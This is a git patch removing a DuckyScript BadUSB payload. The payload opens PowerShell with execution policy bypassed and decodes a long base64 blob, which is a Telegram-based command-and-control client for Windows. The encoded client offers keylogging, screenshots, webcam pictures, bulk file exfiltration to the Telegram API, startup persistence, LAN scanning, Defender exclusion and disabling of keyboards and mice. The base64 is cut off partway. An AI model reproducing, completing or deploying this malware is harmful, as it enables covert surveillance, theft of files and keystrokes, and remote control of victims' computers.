From 0bb49803a71c01b921ca31c36f54f253a96093e8 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 6 Feb 2024 17:44:40 +0000 Subject: [PATCH] Delete Reverse Shells and C2/Telegram-C2-Client-from-Base64.txt --- .../Telegram-C2-Client-from-Base64.txt | 35 ------------------- 1 file changed, 35 deletions(-) delete mode 100644 Reverse Shells and C2/Telegram-C2-Client-from-Base64.txt diff --git a/Reverse Shells and C2/Telegram-C2-Client-from-Base64.txt b/Reverse Shells and C2/Telegram-C2-Client-from-Base64.txt deleted file mode 100644 index 6118e38..0000000 --- a/Reverse Shells and C2/Telegram-C2-Client-from-Base64.txt +++ /dev/null @@ -1,35 +0,0 @@ -REM Title: beigeworm's Telegram Command And Control. -REM Author: @beigeworm -REM Description: Using a Telegram Bot's Chat to Act as a Command and Control Platform. -REM Target: Windows 10 and 11 -REM : More info at https://github.com/beigeworm/Powershell-Tools-and-Toys/tree/main/Command-and-Control - -REM SETUP INSTRUCTIONS -REM 1. visit https://t.me/botfather and make a bot. -REM 2. add bot api to script. -REM 3. search for bot in top left box in telegram and start a chat then type /start. -REM 5. Run Script on target System -REM 6. Check telegram chat for 'waiting to connect' message. -REM 7. this script has a feature to wait until you start the session from telegram. -REM 8. type in the computer name from that message into telegram bot chat to connect to that computer. -REM 9. Replace TELEGRAM_BOT_API_TOKEN_HERE Below with your Telegram Bot API Token - -REM some setup for dukie script -DEFAULT_DELAY 100 - -REM Open Powershell and start logs. -DELAY 1000 -GUI r -DELAY 500 -STRING powershell -NoP -NonI -Exec Bypass -ENTER -DELAY 5000 - -STRING '$tg = "TELEGRAM_BOT_API_TOKEN_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force -ENTER -STRING $b64 = 'JFRva2VuID0gIiR0ZyIgDQokUGFzc1BocmFzZSA9ICIkZW52OkNPTVBVVEVSTkFNRSIgDQokZ2xvYmFsOmVycm9ybXNnID0gMA0KJHBhcmVudCA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL1Bvc2hHcmFtLUMyL21haW4vVGVsZWdyYW0tQzItQ2xpZW50LnBzMSINCiRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kTWVzc2FnZSINCiRVUkwgPSAnaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdHswfScgLWYgJFRva2VuDQokQWNjZXB0ZWRTZXNzaW9uPSIiDQokTGFzdFVuQXV0aGVudGljYXRlZE1lc3NhZ2U9IiINCiRsYXN0ZXhlY01lc3NhZ2VJRD0iIg0KDQpTbGVlcCA1DQppZihUZXN0LVBhdGggIkM6XFdpbmRvd3NcVGFza3Ncc2VydmljZS52YnMiKXtybSAtcGF0aCAiQzpcV2luZG93c1xUYXNrc1xzZXJ2aWNlLnZicyIgLUZvcmNlfQ0KDQp3aGlsZSgkY2hhdElELmxlbmd0aCAtZXEgMCl7DQogICAgJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCiAgICBpZiAoJHVwZGF0ZXMub2sgLWVxICR0cnVlKSB7JGxhdGVzdFVwZGF0ZSA9ICR1cGRhdGVzLnJlc3VsdFstMV0NCiAgICBpZiAoJGxhdGVzdFVwZGF0ZS5tZXNzYWdlIC1uZSAkbnVsbCl7JGNoYXRJRCA9ICRsYXRlc3RVcGRhdGUubWVzc2FnZS5jaGF0LmlkfX0NCiAgICBTbGVlcCAxMA0KfQ0KDQokY2hhckNvZGVzID0gQCgweDI3MDUsIDB4MUY0QkIsIDB4Mjc0QywgMHgxRjU1QywgMHgxRjUwRCwgMHgxRjUxNywgMHgyM0Y4KQ0KJGNoYXJzID0gJGNoYXJDb2RlcyB8IEZvckVhY2gtT2JqZWN0IHsgW2NoYXJdOjpDb252ZXJ0RnJvbVV0ZjMyKCRfKSB9DQokdGljaywgJGNvbXAsICRjbG9zZWQsICR3YWl0aW5nLCAkZ2xhc3MsICRjbWRlLCAkcGF1c2UgPSAkY2hhcnMNCiRzY3JpcHREaXJlY3RvcnkgPSBHZXQtQ29udGVudCAtcGF0aCAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5OYW1lIC1SYXcNCiRNdHMgPSBOZXctT2JqZWN0IHBzb2JqZWN0IA0KJE10cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdjaGF0X2lkJyAtVmFsdWUgJENoYXRJRA0KDQpGdW5jdGlvbiBPcHRpb25zew0KJGNvbnRlbnRzID0gIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj09PT09PT09PT09PT0gJGNtZGUgQ29tbWFuZHMgTGlzdCAkY21kZSA9PT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KQ2xvc2UgICA6IENsb3NlIHRoaXMgU2Vzc2lvbg0KRXh0cmEtSW5mbyAgICA6IEV4dHJhIGNvbW1hbmRzIGluZm9ybWF0aW9uDQpQYXVzZS1TZXNzaW9uICAgOiBLaWxscyB0aGlzIHNlc3Npb24gYW5kIHJlc3RhcnRzDQpUb2dnbGUtRXJyb3JzICAgIDogVG9nZ2xlIGVycm9yIG1lc3NhZ2VzIHRvIGNoYXQNCkZvbGRlci1UcmVlICAgIDogR2V0cyBEaXIgdHJlZSBhbmQgc2VuZHMgaXQgemlwcGVkDQpTY3JlZW5zaG90ICAgOiBTZW5kcyBhIHNjcmVlbnNob3Qgb2YgdGhlIGRlc2t0b3ANCktleS1DYXB0dXJlICAgIDogQ2FwdHVyZSBLZXlzdHJva2VzIGFuZCBzZW5kDQpFeGZpbHRyYXRlICAgOiBTZW5kcyBmaWxlcyAoc2VlICdFeHRyYS1JbmZvJyBmb3IgbW9yZSkNClVwbG9hZCAgICAgIDogVXBsb2FkcyBhIHNwZWNpZmljIGZpbGUgKHVzZSAtcGF0aCkNClN5c3RlbS1JbmZvICAgOiBTZW5kIFN5c3RlbSBpbmZvIGFzIHRleHQgZmlsZQ0KU29mdHdhcmUtSW5mbyAgIDogU2VuZCBTb2Z0d2FyZSBpbmZvIGFzIHRleHQgZmlsZQ0KSGlzdG9yeS1JbmZvICAgOiBTZW5kIEhpc3RvcnkgaW5mbyBhcyB0ZXh0IGZpbGUNCkVudW1lcmF0ZS1MQU4gICA6IEluZm8gZm9yIG90aGVyIGRldmljZXMgb24gdGhlIExBTg0KQWRkLVBlcnNpc3RhbmNlICAgOiBBZGQgVGVsZWdyYW0gQzIgdG8gU3RhcnR1cA0KUmVtb3ZlLVBlcnNpc3RhbmNlICAgOiBSZW1vdmUgU3RhcnR1cCBQZXJzaXN0YW5jZQ0KSXMtQWRtaW4gICA6IENoZWNrcyBpZiBzZXNzaW9uIGhhcyBhZG1pbiBQcml2aWxlZ2VzDQpBdHRlbXB0LUVsZXZhdGUgIDogU2VuZCB1c2VyIGEgcHJvbXB0IHRvIGdhaW4gQWRtaW4NCk1lc3NhZ2UgICA6IFNlbmQgYSBjdXN0b20gbWVzc2FnZSB0byB0aGUgdXNlcg0KVGFrZS1QaWN0dXJlICA6IFNlbmQgYSBXZWJjYW5uIHBpY3R1cmUuDQpLaWxsICAgIDogS2lsbHN3aXRjaCBmb3IgJ0tleS1DYXB0dXJlJyBhbmQgJ0V4ZmlsdHJhdGUnIA0KKipBRE1JTiBPTkxZIEZVTkNUSU9OUyoqDQpEaXNhYmxlLUFWICAgOiBBdHRlbXB0IHRvIGV4Y2x1ZGUgQzovIGZyb20gRGVmZW5kZXINCkRpc2FibGUtSElEICAgOiBEaXNhYmxlIE1pY2UgYW5kIEtleWJvYXJkcw0KRW5hYmxlLUhJRCAgICA6IEVuYWJsZSBNaWNlIGFuZCBLZXlib2FyZHMNCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIEV4dHJhLUluZm97DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09ICRnbGFzcyBFeGFtcGxlcyBhbmQgSW5mbyAkZ2xhc3MgPT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPT09PT09PT09ICBFeGZpbHRyYXRlIENvbW1hbmQgRXhhbXBsZXMgPT09PT09PT09PQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLVBhdGggRG9jdW1lbnRzIC1GaWxldHlwZSBwbmcgKQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLUZpbGV0eXBlIGxvZyApDQooIFBTYD4gRXhmaWx0cmF0ZSApDQpFeGZpbHRyYXRlIG9ubHkgd2lsbCBzZW5kIG1hbnkgcHJlLWRlZmluZWQgZmlsZXR5cGVzDQpmcm9tIGFsbCBVc2VyIEZvbGRlcnMgbGlrZSBEb2N1bWVudHMsIERvd25sb2FkcyBldGMuLg0KDQpQQVRIDQpEb2N1bWVudHMsIERlc2t0b3AsIERvd25sb2FkcywNCk9uZURyaXZlLCBQaWN0dXJlcywgVmlkZW9zLg0KRklMRVRZUEUNCmxvZywgZGIsIHR4dCwgZG9jLCBwZGYsIGpwZywganBlZywgcG5nLA0Kd2RvYywgeGRvYywgY2VyLCBrZXksIHhscywgeGxzeCwNCmNmZywgY29uZiwgZG9jeCwgcmZ0Lg0KDQo9PT09PT09PT09PSAgVXBsb2FkIENvbW1hbmQgRXhhbXBsZSA9PT09PT09PT09PQ0KKCBQU2A+IFVwbG9hZCAtUGF0aCBDOi9QYXRoL1RvL0ZpbGUudHh0ICkNClVzZSAnRm9sZGVyLVRyZWUnIGNvbW1hbmQgdG8gc2hvdyBhbGwgZmlsZXMNCg0KPT09PT09PT09PT09ICBFbnVtZXJhdGUtTEFOIEV4YW1wbGUgPT09PT09PT09PT09DQooIFBTYD4gRW51bWVyYXRlLUxBTiAtUHJlZml4IDE5Mi4xNjguMS4gKQ0KVGhpcyBFZy4gd2lsbCBzY2FuIDE5Mi4xNjguMS4xIHRvIDE5Mi4xNjguMS4yNTQNCg0KPT09PT09PT09PT09PT09ICBNZXNzYWdlIEV4YW1wbGUgPT09PT09PT09PT09PT09DQooIFBTYD4gTWVzc2FnZSAnWW91ciBNZXNzYWdlIEhlcmUhJyApDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQpQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KfQ0KDQpGdW5jdGlvbiBDbG9zZXsNCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIENvbm5lY3Rpb24gQ2xvc2VkIg0KUG9zdC1NZXNzYWdlDQpybSAtUGF0aCAiJGVudjp0ZW1wL3RnYzIudHh0IiAtRm9yY2UNCmV4aXQNCn0NCg0KRnVuY3Rpb24gVXBsb2Fkew0KcGFyYW0gKFtzdHJpbmdbXV0kUGF0aCkNCmlmIChUZXN0LVBhdGggLVBhdGggJHBhdGgpew0KICAgICRleHRlbnNpb24gPSBbU3lzdGVtLklPLlBhdGhdOjpHZXRFeHRlbnNpb24oJHBhdGgpDQogICAgaWYgKCRleHRlbnNpb24gLWVxICIuZXhlIiAtb3IgJGV4dGVuc2lvbiAtZXEgIi5tc2kiKSB7DQogICAgICAgICR0ZW1wWmlwRmlsZVBhdGggPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBQYXRoKCksIFtTeXN0ZW0uSU8uUGF0aF06OkdldEZpbGVOYW1lKCRwYXRoKSkNCiAgICAgICAgQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRmlsZVN5c3RlbQ0KICAgICAgICBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpDcmVhdGVGcm9tRGlyZWN0b3J5KCRwYXRoLCAkdGVtcFppcEZpbGVQYXRoKQ0KICAgICAgICBjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiR0ZW1wWmlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KICAgICAgICBXcml0ZS1PdXRwdXQgIkZpbGUgVXBsb2FkIENvbXBsZXRlOiAkcGF0aCINCiAgICAgICAgUm0gLVBhdGggJHRlbXBaaXBGaWxlUGF0aCAtUmVjdXJzZSAtRm9yY2UNCiAgICB9ZWxzZXsNCiAgICAgICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQogICAgICAgIFdyaXRlLU91dHB1dCAiRmlsZSBVcGxvYWQgQ29tcGxldGU6ICRwYXRoIg0KICAgIH0NCn1lbHNle1dyaXRlLUhvc3QgIkZpbGUgTm90IEZvdW5kOiAkcGF0aCJ9DQp9DQoNCkZ1bmN0aW9uIEV4ZmlsdHJhdGUgew0KcGFyYW0gKFtzdHJpbmdbXV0kRmlsZVR5cGUsW3N0cmluZ1tdXSRQYXRoKQ0KJG1heFppcEZpbGVTaXplID0gNTBNQg0KJGN1cnJlbnRaaXBTaXplID0gMA0KJGluZGV4ID0gMQ0KJEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEV4ZmlsdHJhdGlvbiBTdGFydGVkLi4gKFN0b3Agd2l0aCBLaWxsc3dpdGNoKSINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQpJZigkUGF0aCAtbmUgJG51bGwpeyRmb2xkZXJzVG9TZWFyY2ggPSAiJGVudjpVU0VSUFJPRklMRVwiKyRQYXRofQ0KZWxzZXskZm9sZGVyc1RvU2VhcmNoID0gQCgiJGVudjpVU0VSUFJPRklMRVxEb2N1bWVudHMiLCIkZW52OlVTRVJQUk9GSUxFXERlc2t0b3AiLCIkZW52OlVTRVJQUk9GSUxFXERvd25sb2FkcyIsIiRlbnY6VVNFUlBST0ZJTEVcT25lRHJpdmUiLCIkZW52OlVTRVJQUk9GSUxFXFBpY3R1cmVzIiwiJGVudjpVU0VSUFJPRklMRVxWaWRlb3MiKX0NCklmKCRGaWxlVHlwZSAtbmUgJG51bGwpeyRmaWxlRXh0ZW5zaW9ucyA9ICIqLiIrJEZpbGVUeXBlfQ0KZWxzZSB7JGZpbGVFeHRlbnNpb25zID0gQCgiKi5sb2ciLCAiKi5kYiIsICIqLnR4dCIsICIqLmRvYyIsICIqLnBkZiIsICIqLmpwZyIsICIqLmpwZWciLCAiKi5wbmciLCAiKi53ZG9jIiwgIioueGRvYyIsICIqLmNlciIsICIqLmtleSIsICIqLnhscyIsICIqLnhsc3giLCAiKi5jZmciLCAiKi5jb25mIiwgIiouZG9jeCIsICIqLnJmdCIpfQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRmlsZVN5c3RlbQ0KJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCRGaWxlUGF0aCwgJ0NyZWF0ZScpDQokZXNjbXNnID0gIkZpbGVzIGZyb20gOiAiKyRlbnY6Q09NUFVURVJOQU1FDQpmb3JlYWNoICgkZm9sZGVyIGluICRmb2xkZXJzVG9TZWFyY2gpIHsNCiAgICBmb3JlYWNoICgkZXh0ZW5zaW9uIGluICRmaWxlRXh0ZW5zaW9ucykgew0KICAgICAgICAkZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRmb2xkZXIgLUZpbHRlciAkZXh0ZW5zaW9uIC1GaWxlIC1SZWN1cnNlDQogICAgICAgIGZvcmVhY2ggKCRmaWxlIGluICRmaWxlcykgew0KICAgICAgICAgICAgJGZpbGVTaXplID0gJGZpbGUuTGVuZ3RoDQogICAgICAgICAgICBpZiAoJGN1cnJlbnRaaXBTaXplICsgJGZpbGVTaXplIC1ndCAkbWF4WmlwRmlsZVNpemUpIHsNCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZS5EaXNwb3NlKCkNCiAgICAgICAgICAgICAgICAkY3VycmVudFppcFNpemUgPSAwDQogICAgICAgICAgICAgICAgUG9zdC1GaWxlOyBybSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQogICAgICAgICAgICAgICAgU2xlZXAgMQ0KICAgICAgICAgICAgICAgICRpbmRleCsrDQogICAgICAgICAgICAgICAgJEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KICAgICAgICAgICAgICAgICR6aXBBcmNoaXZlID0gW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6T3BlbigkRmlsZVBhdGgsICdDcmVhdGUnKQ0KICAgICAgICAgICAgICAgICRtZXNzYWdlcz1SZWNlaXZlTVNHDQogICAgICAgICAgICAgICAgICAgIGlmICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1jb250YWlucyAia2lsbCIpIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgRXhmaWx0cmF0aW9uIEtpbGxlZCINCiAgICAgICAgICAgICAgICAgICAgUG9zdC1NZXNzYWdlDQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGVudHJ5TmFtZSA9ICRmaWxlLkZ1bGxOYW1lLlN1YnN0cmluZygkZm9sZGVyLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlRXh0ZW5zaW9uc106OkNyZWF0ZUVudHJ5RnJvbUZpbGUoJHppcEFyY2hpdmUsICRmaWxlLkZ1bGxOYW1lLCAkZW50cnlOYW1lKQ0KICAgICAgICAgICAgICAgICRjdXJyZW50WmlwU2l6ZSArPSAkZmlsZVNpemUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiR6aXBBcmNoaXZlLkRpc3Bvc2UoKQ0KUG9zdC1GaWxlIDtybSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgRXhmaWx0cmF0aW9uIENvbXBsZXRlISINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIFNjcmVlbnNob3R7DQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5XaW5kb3dzLkZvcm1zDQokc2NyZWVuID0gW1N5c3RlbS5XaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbg0KJGJpdG1hcCA9IE5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAgJHNjcmVlbi5XaWR0aCwgJHNjcmVlbi5IZWlnaHQNCiRncmFwaGljcyA9IFtTeXN0ZW0uRHJhd2luZy5HcmFwaGljc106OkZyb21JbWFnZSgkYml0bWFwKQ0KJGdyYXBoaWNzLkNvcHlGcm9tU2NyZWVuKCRzY3JlZW4uTGVmdCwgJHNjcmVlbi5Ub3AsIDAsIDAsICRzY3JlZW4uU2l6ZSkNCiRmaWxlUGF0aCA9ICIkZW52OnRlbXBcc2MucG5nIg0KJGJpdG1hcC5TYXZlKCRmaWxlUGF0aCwgW1N5c3RlbS5EcmF3aW5nLkltYWdpbmcuSW1hZ2VGb3JtYXRdOjpQbmcpDQokZ3JhcGhpY3MuRGlzcG9zZSgpDQokYml0bWFwLkRpc3Bvc2UoKQ0KUG9zdC1GaWxlOyBybSAtUGF0aCAkZmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIEtleS1DYXB0dXJlIHsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBLZXlDYXB0dXJlIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiRBUEkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvLCBFeGFjdFNwZWxsaW5nPXRydWUpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldEtleWJvYXJkU3RhdGUoYnl0ZVtdIGtleXN0YXRlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBNYXBWaXJ0dWFsS2V5KHVpbnQgdUNvZGUsIGludCB1TWFwVHlwZSk7W0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgVG9Vbmljb2RlKHVpbnQgd1ZpcnRLZXksIHVpbnQgd1NjYW5Db2RlLCBieXRlW10gbHBrZXlzdGF0ZSwgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBwd3N6QnVmZiwgaW50IGNjaEJ1ZmYsIHVpbnQgd0ZsYWdzKTsnDQokQVBJID0gQWRkLVR5cGUgLU1lbWJlckRlZmluaXRpb24gJEFQSSAtTmFtZSAnV2luMzInIC1OYW1lc3BhY2UgQVBJIC1QYXNzVGhydQ0KJExhc3RLZXlwcmVzc1RpbWUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCiRLZXlwcmVzc1RocmVzaG9sZCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEwKQ0KV2hpbGUgKCR0cnVlKXsNCiAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgIHRyeXsNCiAgICB3aGlsZSAoJExhc3RLZXlwcmVzc1RpbWUuRWxhcHNlZCAtbHQgJEtleXByZXNzVGhyZXNob2xkKSB7DQogICAgICAgIFN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMzANCiAgICAgICAgZm9yICgkYXNjID0gODsgJGFzYyAtbGUgMjU0OyAkYXNjKyspew0KICAgICAgICAka2V5c3QgPSAkQVBJOjpHZXRBc3luY0tleVN0YXRlKCRhc2MpDQogICAgICAgICAgICBpZiAoJGtleXN0IC1lcSAtMzI3NjcpIHsNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJHRydWUNCiAgICAgICAgICAgICRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KICAgICAgICAgICAgJG51bGwgPSBbY29uc29sZV06OkNhcHNMb2NrDQogICAgICAgICAgICAkdnRrZXkgPSAkQVBJOjpNYXBWaXJ0dWFsS2V5KCRhc2MsIDMpDQogICAgICAgICAgICAka2JzdCA9IE5ldy1PYmplY3QgQnl0ZVtdIDI1Ng0KICAgICAgICAgICAgJGNoZWNra2JzdCA9ICRBUEk6OkdldEtleWJvYXJkU3RhdGUoJGtic3QpDQogICAgICAgICAgICAkbG9nY2hhciA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRBUEk6OlRvVW5pY29kZSgkYXNjLCAkdnRrZXksICRrYnN0LCAkbG9nY2hhciwgJGxvZ2NoYXIuQ2FwYWNpdHksIDApKSB7DQogICAgICAgICAgICAgICAgJExTdHJpbmcgPSAkbG9nY2hhci5Ub1N0cmluZygpDQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSA4KSB7JExTdHJpbmcgPSAiW0JLU1BdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDEzKSB7JExTdHJpbmcgPSAiW0VOVF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMjcpIHskTFN0cmluZyA9ICJbRVNDXSJ9DQogICAgICAgICAgICAgICAgICAgICRub3NhdmUgKz0gJExTdHJpbmcgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBLZXlDYXB0dXJlIEtpbGxlZCINCiAgICAgICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAgICAgYnJlYWsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBmaW5hbGx5ew0KICAgICAgICBJZiAoJGtleVByZXNzZWQgLWFuZCAkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1ub3Rjb250YWlucyAia2lsbCIpIHsNCiAgICAgICAgICAgICRlc2Ntc2dzeXMgPSAkbm9zYXZlIC1yZXBsYWNlICdbJjw+XScsIHskYXJnc1swXS5WYWx1ZS5SZXBsYWNlKCcmJywgJyZhbXA7JykuUmVwbGFjZSgnPCcsICcmbHQ7JykuUmVwbGFjZSgnPicsICcmZ3Q7Jyl9DQogICAgICAgICAgICAkdGltZXN0YW1wID0gR2V0LURhdGUgLUZvcm1hdCAiZGQtTU0teXl5eSBISDptbTpzcyINCiAgICAgICAgICAgICRjb250ZW50cyA9ICIkZ2xhc3MgS2V5cyBDYXB0dXJlZCA6ICIrJGVzY21zZ3N5cw0KICAgICAgICAgICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgICAgICAgICAkbm9zYXZlID0gIiINCiAgICAgICAgfQ0KICAgIH0NCiRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAxMA0KfQ0KfQ0KDQpGdW5jdGlvbiBTeXN0ZW0tSW5mb3sNCiRmdWxsTmFtZSA9IE5ldCBVc2VyICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICJGdWxsIE5hbWUiOyRmdWxsTmFtZSA9ICgiJGZ1bGxOYW1lIikuVHJpbVN0YXJ0KCJGdWxsIikNCiRlbWFpbCA9IEdQUkVTVUxUIC1aIC9VU0VSICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICIoW2EtekEtWjAtOV9cLVwuXSspQChbYS16QS1aMC05X1wtXC5dKylcLihbYS16QS1aXXsyLDV9KSIgLUFsbE1hdGNoZXM7JGVtYWlsID0gKCIkZW1haWwiKS5UcmltKCkNCiRjb21wdXRlclB1YklQPShJbnZva2UtV2ViUmVxdWVzdCBpcGluZm8uaW8vaXAgLVVzZUJhc2ljUGFyc2luZykuQ29udGVudA0KJGNvbXB1dGVySVAgPSBnZXQtV21pT2JqZWN0IFdpbjMyX05ldHdvcmtBZGFwdGVyQ29uZmlndXJhdGlvbnxXaGVyZSB7JF8uRGVmYXVsdElQR2F0ZXdheS5sZW5ndGggLWd0IDF9DQokTmVhcmJ5V2lmaSA9IGV4cGxvcmVyLmV4ZSBtcy1hdmFpbGFibGVuZXR3b3JrczogOyBzbGVlcCA0OyAobmV0c2ggd2xhbiBzaG93IG5ldHdvcmtzIG1vZGU9QnNzaWQgfCA/eyRfIC1saWtlICJTU0lEKiIgLW9yICRfIC1saWtlICIqU2lnbmFsKiIgLW9yICRfIC1saWtlICIqQmFuZCoifSkudHJpbSgpDQokTmV0d29yayA9IEdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgd2hlcmUgeyAkXy5NQUNBZGRyZXNzIC1ub3RsaWtlICRudWxsIH0gIHwgc2VsZWN0IEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIHwgRm9ybWF0LVRhYmxlIEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIA0KJGNvbXB1dGVyU3lzdGVtID0gR2V0LUNpbUluc3RhbmNlIENJTV9Db21wdXRlclN5c3RlbQ0KJGNvbXB1dGVyQklPUyA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQklPU0VsZW1lbnQNCiRjb21wdX